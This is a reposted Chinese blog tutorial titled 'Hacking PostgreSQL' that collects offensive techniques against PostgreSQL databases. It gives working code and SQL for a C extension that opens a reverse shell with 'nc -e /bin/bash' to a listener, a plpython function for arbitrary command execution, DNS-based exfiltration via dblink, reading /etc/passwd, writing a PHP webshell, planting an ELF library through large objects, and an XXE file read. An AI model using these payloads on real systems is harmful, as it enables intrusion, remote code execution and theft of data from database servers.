码迷,mamicode.com
首页 > 数据库 > 详细

Hacking PostgreSQL

时间:2015-06-17 14:42:50      阅读:171      评论:0      收藏:0      [点我收藏+]

标签:

这篇文章主要讲解了如何 Hacking PostgreSQL 数据库,总结了一些常用方法。

SQL 注入

大体上和 MySQL 差不多,有一些变量不一样。具体就不再举例,可以看这篇总结:PostgreSQL SQL Injection Cheat Sheet
此外,利用 sqlmap 也是一个不错的方式。

执行命令

C

sqlmap 给出的几个 UDF 在我本地测试并不成功,所以最好的方法是自己编译一个动态链接库。
根据官方文档,我们要定义一个 PG_MODULE_MAGIC。大概是 PostgreSQL 的安全机制,在 8.2 以后需要验证这个 magic block,不然,在加在动态链接库的时候会报错:

ERROR:  incompatible library "xxx.so": missing magic block
HINT:  Extension libraries are required to use the PG_MODULE_MAGIC macro.

执行系统命令的动态链接库源码为:

 1 #include "postgres.h"
 2 #include "fmgr.h"
 3 #include <stdlib.h>
 4 
 5 #ifdef PG_MODULE_MAGIC
 6 PG_MODULE_MAGIC;
 7 #endif
 8 
 9 text *exec()
10 {
11     system("nc -e /bin/bash 10.211.55.2 9999");
12 }

 

利用如下命令编译 .so 文件:

gcc 1.c -I`pg_config --includedir-server` -fPIC -shared -o /tmp/1.so

 

在 pgsql 里执行:

CREATE OR REPLACE FUNCTION exec()  RETURNS text AS  /tmp/1.so, exec LANGUAGE C STRICT;
select exec();

 

监听的 9999 端口得到一个 shell:
技术分享

Python

默认 PostgreSQL 不会安装 Python 的扩展,在 Ubuntu 下可以通过:

apt-get install postgresql-plpython-9.1

 

进行安装,除了 python 的扩展,还有 sh、perl、ruby 等等。
安装完成后,首先是创建一个 UDF 来执行我们要执行的命令:

CREATE FUNCTION system (a text)
  RETURNS text
AS $$
  import os
  return os.popen(a).read()
$$ LANGUAGE plpython2u;

 

其中的 plpython2u 可以利用如下语句获取:

select * from pg_language;

我们可以根据返回来判断利用哪个语言(plpython2u、plpythonu、plpython3u 等等)。
技术分享
创建好 UDF 后,直接调用如下语句即可:

select system(‘ls -la‘);

技术分享
此外,sh、ruby 等同理,可以参考官方文档来写一个 UDF。
文档地址:http://www.postgresql.org/docs/8.2/static/server-programming.html

DNS 请求获取数据

同样的,PostgreSQL 可以通过 DNS Request 一样获取数据,在盲注的情况下。用到的一个扩展叫做 dblink,可以通过如下命令开启:

CREATE EXTENSION dblink

 

接着运行如下语句,获取当前数据库用户名称:

SELECT * FROM dblink(host=||(select user)||.f27558c1f94c0595.xxxxx.xx user=someuser dbname=somedb, SELECT version()) RETURNS (result TEXT);

 

技术分享
远程获取到请求内容:
技术分享

读写文件

PostgreSQL 读取文件虽然有些蛋疼,但是还是可以读取的:

CREATE TABLE temptable(t text);
COPY temptable FROM /etc/passwd;
SELECT * FROM temptable limit 1 offset 0;

 

读取结束后:

DROP TABLE temptable;

 

写文件分为两个部分,一个是写 webshell,另外一个是写二进制文件。
写 webshell 十分简单,利用:

COPY (select ‘<?php phpinfo();?>‘) to ‘/tmp/1.php‘;

即可写一个文件。
根据疯狗的这一篇帖子:http://zone.wooyun.org/content/4971,说是可以利用 PostgreSQL 的“大对象数据”来写,但是我测试是失败的。报错如下:

ERROR:  pg_largeobject entry for OID 2008, page 0 has invalid data field size 2378

 

用 COPY 语句,format 为 binary 的情况下来写文件的话,会被 PostgreSQL 加上几个字节,导致不能识别为 ELF 文件。
实际上,阅读官方文档可知,写的文件每一页不能超过 2KB,所以我们要把数据分段:

SELECT lo_create(12345);
INSERT INTO pg_largeobject VALUES (12345, 0, decode(7f454c4...0000, hex));
INSERT INTO pg_largeobject VALUES (12345, 1, decode(0000000...0000, hex));
INSERT INTO pg_largeobject VALUES (12345, 2, decode(f604000...0000, hex));
INSERT INTO pg_largeobject VALUES (12345, 3, decode(0000000...7400, hex));
SELECT lo_export(12345, /tmp/test.so);
SELECT lo_unlink(12345);

 

其中每一段都要小于等于 2KB,这样就可以成功写入:
技术分享

XXE

老版本的 PostgreSQL 存在 XXE 漏洞。具体可以看这篇文章:PostgreSQL (all) error-based XXE 0day
大体就是执行语句:

select xmlparse(document <?xml version="1.0" standalone="yes"?><!DOCTYPE content [ <!ENTITY abc SYSTEM "/etc/network/if-up.d/mountnfs">]><content>&abc;</content>);

 

可以获取一些数据,也可以进行 SSRF 等。不过因为年代很久,可能很多都修复过了,所以作为一个保留方案,可能会有意外的惊喜。

参考

  1. PostgreSQL SQL Injection Cheat Sheet
  2. 关于PostgreSQL的那些事儿(文件读取写入、命令执行的办法)
  3. PostgreSQL 9.0 Documentation
  4. PostgreSQL (all) error-based XXE 0day

最后,如有错误请不吝赐教。

Hacking PostgreSQL

标签:

原文地址:http://www.cnblogs.com/Yinxinghan/p/Hacking_PostgreSQL.html

(0)
(0)
   
举报
评论 一句话评论(0
登录后才能评论!
© 2014 mamicode.com 版权所有  联系我们:gaon5@hotmail.com
迷上了代码!